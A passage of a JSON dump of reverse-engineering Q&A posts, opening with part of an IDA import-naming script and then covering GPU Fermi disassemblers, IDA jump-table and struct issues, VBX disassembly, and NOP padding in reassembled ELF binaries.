128,    0);\nMakeName    (0X4DB204,  \"DeleteObject\");\nMakeByte    (0X4DB208);\nMakeArray   (0X4DB208,  0X4);\nExtLinA     (0X4DB20C,  0,  \"; \");\nExtLinA     (0X4DB20C,  1,  \"; Imports from KERNEL32.dll\");\nExtLinA     (0X4DB20C,  2,  \"; \");\nMakeDword   (x=0X4DB20C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB20C,  \"GetModuleFileNameA\");\nMakeDword   (x=0X4DB210);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB210,  \"WritePrivateProfileStringA\");\nMakeDword   (x=0X4DB214);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB214,  \"GetTickCount\");\nMakeDword   (x=0X4DB218);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB218,  \"CloseHandle\");\nMakeDword   (x=0X4DB21C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB21C,  \"GetFileTime\");\nMakeDword   (x=0X4DB220);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB220,  \"CreateFileA\");\nMakeDword   (x=0X4DB224);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB224,  \"GetPrivateProfileIntA\");\nMakeDword   (x=0X4DB228);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB228,  \"GetPrivateProfileStringA\");\nMakeDword   (x=0X4DB22C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB22C,  \"VirtualAlloc\");\nMakeDword   (x=0X4DB230);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB230,  \"VirtualFree\");\nMakeDword   (x=0X4DB234);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB234,  \"TerminateProcess\");\nMakeDword   (x=0X4DB238);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB238,  \"GetExitCodeProcess\");\nMakeDword   (x=0X4DB23C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB23C,  \"CreateProcessA\");\nMakeDword   (x=0X4DB240);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB240,  \"GetCommandLineA\");\nMakeDword   (x=0X4DB244);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB244,  \"SetConsoleTitleA\");\nMakeDword   (x=0X4DB248);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB248,  \"Sleep\");\nMakeDword   (x=0X4DB24C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB24C,  \"SetEndOfFile\");\nMakeDword   (x=0X4DB250);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB250,  \"SetStdHandle\");\nMakeDword   (x=0X4DB254);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB254,  \"GetFileType\");\nMakeDword   (x=0X4DB258);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB258,  \"ExitProcess\");\nMakeDword   (x=0X4DB25C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB25C,  \"GetNumberOfConsoleInputEvents\");\nMakeDword   (x=0X4DB260);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB260,  \"PeekConsoleInputA\");\nMakeDword   (x=0X4DB264);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB264,  \"GetConsoleMode\");\nMakeDword   (x=0X4DB268);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB268,  \"SetConsoleMode\");\nMakeDword   (x=0X4DB26C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB26C,  \"ReadConsoleInputA\");\nMakeDword   (x=0X4DB270);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB270,  \"SetEnvironmentVariableA\");\nMakeDword   (x=0X4DB274);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB274,  \"CompareStringW\");\nMakeDword   (x=0X4DB278);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB278,  \"CompareStringA\");\nMakeDword   (x=0X4DB27C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB27C,  \"LoadLibraryA\");\nMakeDword   (x=0X4DB280);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB280,  \"WaitForSingleObject\");\nMakeDword   (x=0X4DB284);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB284,  \"GetStringTypeW\");\nMakeDword   (x=0X4DB288);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB288,  \"GetStringTypeA\");\nMakeDword   (x=0X4DB28C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB28C,  \"IsBadCodePtr\");\nMakeDword   (x=0X4DB290);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB290,  \"IsBadWritePtr\");\nMakeDword   (x=0X4DB294);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB294,  \"IsBadReadPtr\");\nMakeDword   (x=0X4DB298);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB298,  \"GetOEMCP\");\nMakeDword   (x=0X4DB29C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB29C,  \"GetACP\");\nMakeDword   (x=0X4DB2A0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2A0,  \"GetCPInfo\");\nMakeDword   (x=0X4DB2A4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2A4,  \"GetEnvironmentStringsW\");\nMakeDword   (x=0X4DB2A8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2A8,  \"GetTimeZoneInformation\");\nMakeDword   (x=0X4DB2AC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2AC,  \"GetSystemTime\");\nMakeDword   (x=0X4DB2B0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2B0,  \"GetLocalTime\");\nMakeDword   (x=0X4DB2B4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2B4,  \"__imp_RtlUnwind\");\nMakeDword   (x=0X4DB2B8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2B8,  \"GetLastError\");\nMakeDword   (x=0X4DB2BC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2BC,  \"GetEnvironmentStrings\");\nMakeDword   (x=0X4DB2C0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2C0,  \"FreeEnvironmentStringsW\");\nMakeDword   (x=0X4DB2C4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2C4,  \"GetCurrentProcess\");\nMakeDword   (x=0X4DB2C8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2C8,  \"HeapAlloc\");\nMakeDword   (x=0X4DB2CC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2CC,  \"HeapReAlloc\");\nMakeDword   (x=0X4DB2D0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2D0,  \"HeapFree\");\nMakeDword   (x=0X4DB2D4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2D4,  \"RaiseException\");\nMakeDword   (x=0X4DB2D8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2D8,  \"GetVersion\");\nMakeDword   (x=0X4DB2DC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2DC,  \"ReadFile\");\nMakeDword   (x=0X4DB2E0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2E0,  \"WriteFile\");\nMakeDword   (x=0X4DB2E4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2E4,  \"SetFilePointer\");\nMakeDword   (x=0X4DB2E8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2E8,  \"HeapDestroy\");\nMakeDword   (x=0X4DB2EC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2EC,  \"LCMapStringW\");\nMakeDword   (x=0X4DB2F0);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2F0,  \"SetHandleCount\");\nMakeDword   (x=0X4DB2F4);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2F4,  \"GetStdHandle\");\nMakeDword   (x=0X4DB2F8);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2F8,  \"GetStartupInfoA\");\nMakeDword   (x=0X4DB2FC);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB2FC,  \"MultiByteToWideChar\");\nMakeDword   (x=0X4DB300);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB300,  \"WideCharToMultiByte\");\nMakeDword   (x=0X4DB304);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB304,  \"LCMapStringA\");\nMakeDword   (x=0X4DB308);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB308,  \"UnhandledExceptionFilter\");\nMakeDword   (x=0X4DB30C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB30C,  \"FreeEnvironmentStringsA\");\nMakeDword   (x=0X4DB310);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB310,  \"HeapCreate\");\nMakeDword   (x=0X4DB314);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB314,  \"SetUnhandledExceptionFilter\");\nMakeDword   (x=0X4DB318);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB318,  \"GetFileAttributesA\");\nMakeDword   (x=0X4DB31C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB31C,  \"FlushFileBuffers\");\nMakeDword   (x=0X4DB320);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB320,  \"GetProcAddress\");\nMakeDword   (x=0X4DB324);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB324,  \"GetModuleHandleA\");\nMakeByte    (0X4DB328);\nMakeArray   (0X4DB328,  0X4);\nExtLinA     (0X4DB32C,  0,  \"; \");\nExtLinA     (0X4DB32C,  1,  \"; Imports from USER32.dll\");\nExtLinA     (0X4DB32C,  2,  \"; \");\nMakeDword   (x=0X4DB32C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB32C,  \"MessageBoxA\");\nMakeDword   (x=0X4DB330);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB330,  \"LoadImageA\");\nMakeByte    (0X4DB334);\nMakeArray   (0X4DB334,  0X4);\nExtLinA     (0X4DB338,  0,  \"; \");\nExtLinA     (0X4DB338,  1,  \"; Imports from WSOCK32.dll\");\nExtLinA     (0X4DB338,  2,  \"; \");\nMakeDword   (x=0X4DB338);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB338,  \"__imp_ioctlsocket\");\nMakeDword   (x=0X4DB33C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB33C,  \"__imp_inet_ntoa\");\nMakeDword   (x=0X4DB340);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB340,  \"__imp_WSACleanup\");\nMakeDword   (x=0X4DB344);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB344,  \"__imp_WSAStartup\");\nMakeDword   (x=0X4DB348);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB348,  \"__imp_recvfrom\");\nMakeDword   (x=0X4DB34C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB34C,  \"__imp_sendto\");\nMakeDword   (x=0X4DB350);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB350,  \"__imp_recv\");\nMakeDword   (x=0X4DB354);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB354,  \"__imp_closesocket\");\nMakeDword   (x=0X4DB358);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB358,  \"__imp_socket\");\nMakeDword   (x=0X4DB35C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB35C,  \"__imp_inet_addr\");\nMakeDword   (x=0X4DB360);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB360,  \"__imp_setsockopt\");\nMakeDword   (x=0X4DB364);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB364,  \"__imp_htons\");\nMakeDword   (x=0X4DB368);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB368,  \"__imp_htonl\");\nMakeDword   (x=0X4DB36C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB36C,  \"__imp_bind\");\nMakeDword   (x=0X4DB370);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB370,  \"__imp_gethostbyname\");\nMakeDword   (x=0X4DB374);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB374,  \"__imp_connect\");\nMakeDword   (x=0X4DB378);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB378,  \"__imp_send\");\nMakeByte    (0X4DB37C);\nMakeArray   (0X4DB37C,  0X4);\nExtLinA     (0X4DB380,  0,  \"; \");\nExtLinA     (0X4DB380,  1,  \"; Imports from zlib.dll\");\nExtLinA     (0X4DB380,  2,  \"; \");\nMakeDword   (x=0X4DB380);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB380,  \"__imp_compress\");\nMakeByte    (0X4DB384);\nMakeArray   (0X4DB384,  0X4);\n</code></pre>\n"
    },
    {
        "Id": "4065",
        "CreationDate": "2014-04-14T03:22:30.643",
        "Body": "<p>I've recently started exploring the world of GPU-based malware.  Academia doesn't have a ton of papers here, but there's some powerful ones.  I'm looking at trying to improve the communities tools in terms of NVIDIA's fermi ISA, (since AMD published theirs!)  </p>\n\n<p>To date, I've not found any fermi disassemblers, but one ONE fermi assembler:</p>\n\n<p><a href=\"http://code.google.com/p/asfermi/\" rel=\"nofollow\">asfermi</a></p>\n\n<p>Are their any plugins/disassemblers that this community is aware of, that my google searches have apparently turned up zilch?  NVIDIA's supplied tools don't work for binaries compiled with vs2010.  </p>\n\n<p>=============[Updated Context]===================</p>\n\n<p>Appears that to a certain extent, my assumptions were wrong.  NVIDIA's disassembly tools (nvobjdump, nvdisasm) are designed only to work with their *.cubin (maybe *.ptx) intermediate assemblies.  Which is bad, from a malware analysis perspective.  </p>\n\n<p>After searching extensively I found a dead project called <a href=\"https://github.com/laanwj/decuda\" rel=\"nofollow\">decuda</a>.  (I say dead because it hasn't had a commit in years.)  AND it doesn't seem to be able to handle disassembling *.cubin binaries from the latest releases, 5.5 and 6.0.  </p>\n",
        "Title": "Are there ANY supported Fermi Disassemblers out there?",
        "Tags": "|disassembly|windows|linux|nvidia|",
        "Answer": "<p>Well, after spending lots of time in NVIDIA's documentation, and the recent update to 6.0, they added the ability for their program <code>cuobjdump</code> to extract *.cubin files from any given target executable.  So you can extract *.cubin files from PE or ELF files like this:</p>\n\n<pre><code>C:\\ProgramData\\NVIDIA Corporation\\CUDA Samples\\v6.0\\Bin\\win32\\Debug&gt;cuobjdump -xelf all simpleAtomicIntrinsics.exe\n</code></pre>\n\n<p>Then use <code>nvdisasm</code> on your target *.cubin file:</p>\n\n<pre><code>C:\\ProgramData\\NVIDIA Corporation\\CUDA Samples\\v6.0\\Bin\\win32\\Debug&gt;nvdisasm NVIDIA-CUDA-simpleAtomicIntrinsics.sm_50.cubin\n</code></pre>\n\n<p>Oh, by the way, <code>nvdisasm</code> does actually use control-flow disassembly.  <code>cuobjdump</code> uses linear.  </p>\n\n<p>By playing with the provided tools you can extract opcodes, but unfortunately there's snakey instructions like <code>S2R</code> which according to NVIDIA's <a href=\"http://docs.nvidia.com/cuda/cuda-binary-utilities/index.html#fermi\" rel=\"nofollow\">documentation</a> does this:  </p>\n\n<p><code>S2R    Special Register to Register</code></p>\n\n<p>With no documentation I've seen yet as to what the special registers even ARE on this architecture.  The best documentation on this so far is <a href=\"https://code.google.com/p/asfermi/wiki/FAQ\" rel=\"nofollow\">here</a>.</p>\n"
    },
    {
        "Id": "4074",
        "CreationDate": "2014-04-15T09:51:15.820",
        "Body": "<p>I'm disassembling a function that seems to use a switch statement, resulting in an indexed indirect jump, in two different places (same function!):</p>\n\n<pre><code>0005FA58                 mov     al, [eax+112h]\n0005FA5E                 cmp     al, 4\n0005FA60                 ja      loc_5FBED\n0005FA66                 and     eax, 0FFh\n0005FA6B                 jmp     cs:off_5F98C[eax*4]\n0005FA73\n\n\n00060011                 mov     al, byte ptr unk_A4E30[eax]\n00060017                 cmp     al, 3\n00060019                 ja      short loc_60053\n0006001B                 and     eax, 0FFh\n00060020                 jmp     cs:off_5F9A0[eax*4]\n\n0005F98C off_5F98C       dd offset loc_5FBCC, offset loc_5FA73, offset loc_5FAC5, offset loc_5FB14, offset loc_5FB66\n0005F98C                                         ; DATA XREF: FunctionStart+BB\n0005F9A0 off_5F9A0       dd offset loc_60049, offset loc_6003E, offset loc_60031, offset loc_60028\n0005F9A0                                         ; DATA XREF: FunctionStart+670\n</code></pre>\n\n<p>The first jump table has 5 entries, the second one 4. Unfortunately, the compiler placed them directly behind each other in memory. This seems to confuse IDA when calculating the graph connections for those nodes:</p>\n\n<p><img src=\"https://i.stack.imgur.com/3ld8y.png\" alt=\"Graph for 1st jump table\"></p>\n\n<p><em>Edit, as the the wording of the question was probably misleading</em></p>\n\n<p>The graph node shows 9 outgoing connections. 5 of them are true connections, the next 4 are not - they belong to a different jump table that happens to be directly after this one in memory. I'd like to tell IDA \"This jump table has 5 valid entries, ignore the other ones when creating the graph node\". Is there any way to do this?</p>\n\n<p><em>The original question was:</em></p>\n\n<blockquote>\n  <p>The first jump table has 9 connections, 4 of which don't belong to\n  <em>that</em> statement. (The second one, ommited here for brevity, has only one connection). Is there any way to tell IDA to remove the extra\n  connections from the first table, and possibly create new connections\n  from the 2nd table to the corresponding targets?</p>\n</blockquote>\n\n<p>I already tried defining the jump tables as arrays, then undefine the function and re-define it as code, but that didn't change anything.</p>\n\n<p>(I'm using IDA 5.0, as this is a hobby project, and i don't want to spend several hundred bucks on something i'll use a few times a year).</p>\n",
        "Title": "Any way to fix misinterpreted case jump tables in Ida Pro?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>It's possible, but not in the freeware version:</p>\n\n<ol>\n<li>Put cursor on the <code>jmp</code></li>\n<li>Edit->Other->Specify switch idiom...</li>\n</ol>\n"
    },
    {
        "Id": "4077",
        "CreationDate": "2014-04-15T13:06:03.097",
        "Body": "<p>I have a 16 bit VBX file for Visual Basic 3 which I'd like to disassembly. Which program can analyze it? </p>\n\n<p>I tried IDA Free, but it seems only OCX are supported.</p>\n",
        "Title": "How to disassemble VBX files?",
        "Tags": "|disassembly|",
        "Answer": "<p>VBX files are standard NE (New Executable) files which use a few special entrypoints and structures used by VB. IDA Free does not support NE file format, you need  to use the full version (at least Starter) or another disassembler .You can find the details of the VBX API in the VB Control Development Kit (CDK) shipped with <a href=\"https://winworldpc.com/download/4DA81FE7-57D8-11E4-A90F-7054D21A8599\" rel=\"nofollow noreferrer\">Visual Basic Pro 3.0</a> or by searching for \"vbapi.h\". Some additional information is available <a href=\"https://msdn.microsoft.com/en-us/library/aa268983\" rel=\"nofollow noreferrer\">in MSDN</a></p>\n"
    },
    {
        "Id": "4082",
        "CreationDate": "2014-04-16T01:36:27.100",
        "Body": "<p>I put the whole question in 2 images. From research, it seems I need to use <kbd>Ctrl</kbd>+<kbd>R</kbd>, but I don't think that's what I need since I couldn't lower the number a bit further in order to reach 0.</p>\n\n<p>I think the problem is that I'm not creating the <code>structs</code> properly.</p>\n\n<p><strong>I'd like to add a few guesses the number went down to 16072 because the array of PlayerPointers is 4 bytes per element. So it went down <code>64288 / 4 = 16072</code>.</strong>\n<br>\nI still don't know what that means.</p>\n\n<p><img src=\"https://i.stack.imgur.com/q4K9S.png\" alt=\"problem 1\">\n<img src=\"https://i.stack.imgur.com/2odeD.png\" alt=\"asm code\"></p>\n\n<p>ASM Code:</p>\n\n<pre><code>.text:0040E040 ; =============== S U B R O U T I N E =======================================\n.text:0040E040\n.text:0040E040\n.text:0040E040 ; struct_ARENA *__thiscall code(struct_PLAYER *player, const void *buf, unsigned int len, int a4)\n.text:0040E040 sub_40E040      proc near               \n.text:0040E040                                         \n.text:0040E040\n.text:0040E040 buf             = dword ptr  4\n.text:0040E040 len             = dword ptr  8\n.text:0040E040 a4              = dword ptr  0Ch\n.text:0040E040\n.text:0040E040                 push    ebx\n.text:0040E041                 push    esi\n.text:0040E042                 mov     esi, ecx\n.text:0040E044                 mov     eax, [esi+1Ch]\n.text:0040E047                 test    eax, eax\n.text:0040E049                 jz      short loc_40E093\n.text:0040E04B                 mov     ecx, [eax+0FF0Ch]\n.text:0040E051                 xor     ebx, ebx\n.text:0040E053                 test    ecx, ecx\n.text:0040E055                 jle     short loc_40E093\n.text:0040E057                 push    edi\n.text:0040E058                 push    ebp\n.text:0040E059                 mov     ebp, [esp+10h+a4]\n.text:0040E05D                 mov     edi, 0FB20h\n.text:0040E062\n.text:0040E062 loc_40E062:                             \n.text:0040E062                 mov     eax, [edi+eax]\n.text:0040E065                 cmp     eax, esi\n.text:0040E067                 jz      short loc_40E082\n.text:0040E069                 mov     ecx, [eax+38h]\n.text:0040E06C                 test    ecx, ecx\n.text:0040E06E                 jnz     short loc_40E082\n.text:0040E070                 mov     ecx, [esp+10h+len]\n.text:0040E074                 mov     edx, [esp+10h+buf]\n.text:0040E078                 push    ebp             ; a4\n.text:0040E079                 push    ecx             ; len\n.text:0040E07A                 push    edx             ; buf\n.text:0040E07B                 mov     ecx, eax        ; this\n.text:0040E07D                 call    SendPlayerReliablePacket\n.text:0040E082\n.text:0040E082 loc_40E082:                             \n.text:0040E082                                         \n.text:0040E082                 mov     eax, [esi+1Ch]\n.text:0040E085                 inc     ebx\n.text:0040E086                 add     edi, 4\n.text:0040E089                 cmp     ebx, [eax+0FF0Ch]\n.text:0040E08F                 jl      short loc_40E062\n.text:0040E091                 pop     ebp\n.text:0040E092                 pop     edi\n.text:0040E093\n.text:0040E093 loc_40E093:                            \n.text:0040E093                                         \n.text:0040E093                 pop     esi\n.text:0040E094                 pop     ebx\n.text:0040E095                 retn    0Ch\n.text:0040E095 sub_40E040      endp\n.text:0040E095 ; ---------------------------------------------------------------------------\n.text:0040E098                 align 10h\n</code></pre>\n\n<p>Here is one that looks better only 1 struct instead of 2 but still same problem</p>\n\n<p><img src=\"https://i.stack.imgur.com/89F9H.png\" alt=\"enter image description here\"></p>\n\n<p>Here is the amount of players who are not watching but playing the game.</p>\n\n<pre><code>int __thiscall TotalPlayingPlayers(struct_ARENA *arena)\n{\n  int ArenaPlayerCount; // edx@1\n  int result; // eax@1\n  struct_PLAYER **eachPlayer; // ecx@2\n\n  ArenaPlayerCount = arena-&gt;ArenaPlayerCount;\n  result = 0;\n  if ( ArenaPlayerCount &gt; 0 )\n  {\n    eachPlayer = arena-&gt;playerPointersForSomething;// How could this be like this? this would only hold 251 4 bytes not enough for all players.\n    do\n    {\n      if ( (*eachPlayer)-&gt;Ship != 8 )\n        ++result;\n      ++eachPlayer;                             // This means it really has to go up by 4 bytes the small 251 array.\n      --ArenaPlayerCount;\n    }\n    while ( ArenaPlayerCount );\n  }\n  return result;\n}\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/a4W5E.png\" alt=\"here is image of above\"></p>\n",
        "Title": "IDA PRO Struct Pointer Counter big number not starting from address offset 0, Lowers a bit slightly but not all the way to 0",
        "Tags": "|ida|struct|functions|",
        "Answer": "<p>It seems to me that you're wrong if you assume v7 is an index - v6 is.</p>\n\n<p>The original function was probably something like</p>\n\n<pre><code>int v6=0;\nwhile (v6 &lt; result-&gt;ArenaSubStruct.ArenaPlayerCount) {   // &lt;-- what is a if/do while in your disassembly was originally a while\n    eachPlayer = result-&gt;ArenaSubStruct.PlayerPointers[v6];\n    if (eachPlayer != player)                            // &lt;-- v4 and player are identical\n        SendPlayerReliablePacket(eachPlayer, buf, len, a4);\n    ++v6;\n}\n</code></pre>\n\n<p>To optimize this, the compiler introduced v7 as a pointer to the array element corresponding to the loop variable. This way, the processor just needs to access a pointer (and increment the pointer by the size of the int it points to) instead of a multiplication and add per loop:</p>\n\n<pre><code>int v6=0;\nint v7=offsetof(*result, ArenaSubStruct.PlayerPointers);\nwhile (v6 &lt; result-&gt;ArenaSubStruct.ArenaPlayerCount) {\n    eachPlayer = *(int *)((char *)result+v7)\n    if (eachPlayer != player)\n        SendPlayerReliablePacket(eachPlayer, buf, len, a4);\n    v6++;\n    v7+=sizeof(ArenaSubStruct.PlayerPointers[0]);   // which is an it so sizeof returns 4\n}\n</code></pre>\n\n<p>So your v7 is not an index into the PlayerPointers structure that should be brought down to 0, instead, it's an \"index\" into the ArenaSubStruct structure, that starts with the offset of PlayerPointers within ArenaSubStruct. You can't get that back nicely in IDA, because there's no nice C representation of what the compiler did - look at the ugly type casts i had to do.</p>\n"
    },
    {
        "Id": "4084",
        "CreationDate": "2014-04-16T15:07:06.240",
        "Body": "<p>The test platform is on Linux 32bit, x86. \nSo basically I wrote a simple C program like this:</p>\n\n<pre><code>void main()\n{\n        double a = 10.0;\n        printf(\"hello world %f\\n\", a);\n\n}\n</code></pre>\n\n<p>I use gcc to compile to into ELF binary, and use objdump to disassemble it. I solve the reference to .rodata section, and refine the asm code in this :</p>\n\n<pre><code>extern  printf\nsection .rodata\n\nS_80484d0   db 0x68\ndb 0x65\n  db 0x6c\ndb 0x6c\ndb 0x6f\ndb 0x20\ndb 0x77\ndb 0x6f\ndb 0x72\ndb 0x6c\ndb 0x64\ndb 0x20\ndb 0x25\ndb 0x66\ndb 0x0a\n\n\nS_80484f0 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x40\n\nsection .text\nglobal main\nmain:\npush   ebp\nmov    ebp,esp\nand    esp,0xfffffff0\nsub    esp,0x20\nfld    qword [S_80484f0]\nfstp   QWORD [esp+0x18]\nfld    QWORD [esp+0x18]\nfstp   QWORD [esp+0x4] \nmov    DWORD [esp],S_80484d0\ncall   printf\nleave\nret\n</code></pre>\n\n<p>Then I re-compile this asm code to get a new ELF binary, and comparing the .text section of these two binaries.</p>\n\n<p>Here is the confusing thing: The only different I can find is that there are more leading nop in front of the main function like this:</p>\n\n<p>new ELF binary leading nop:</p>\n\n<p><img src=\"https://i.stack.imgur.com/4CiRE.png\" alt=\"new ELF binary\"></p>\n\n<p>new ELF binary ending nop:</p>\n\n<p><img src=\"https://i.stack.imgur.com/nNKht.png\" alt=\"new elf binary 2\"></p>\n\n<p>old ELF binary:</p>\n\n<p><img src=\"https://i.stack.imgur.com/goaAd.png\" alt=\"old ELF binary\"></p>\n\n<p>Basically I don't think it is kinda of \"alignment\" issue, because there are just too much nop.</p>\n\n<p>What's more, when I change the original code into just a simple helloworld code(without double number a), then basically there is <strong>no difference</strong> between these two ELF binaries.</p>\n\n<p>Could anyone give me some help on why there are so many nop generated?</p>\n\n<p>Thank you </p>\n",
        "Title": "Why ther are some many padding/leading nop instructions in my binary code?",
        "Tags": "|disassembly|assembly|elf|",
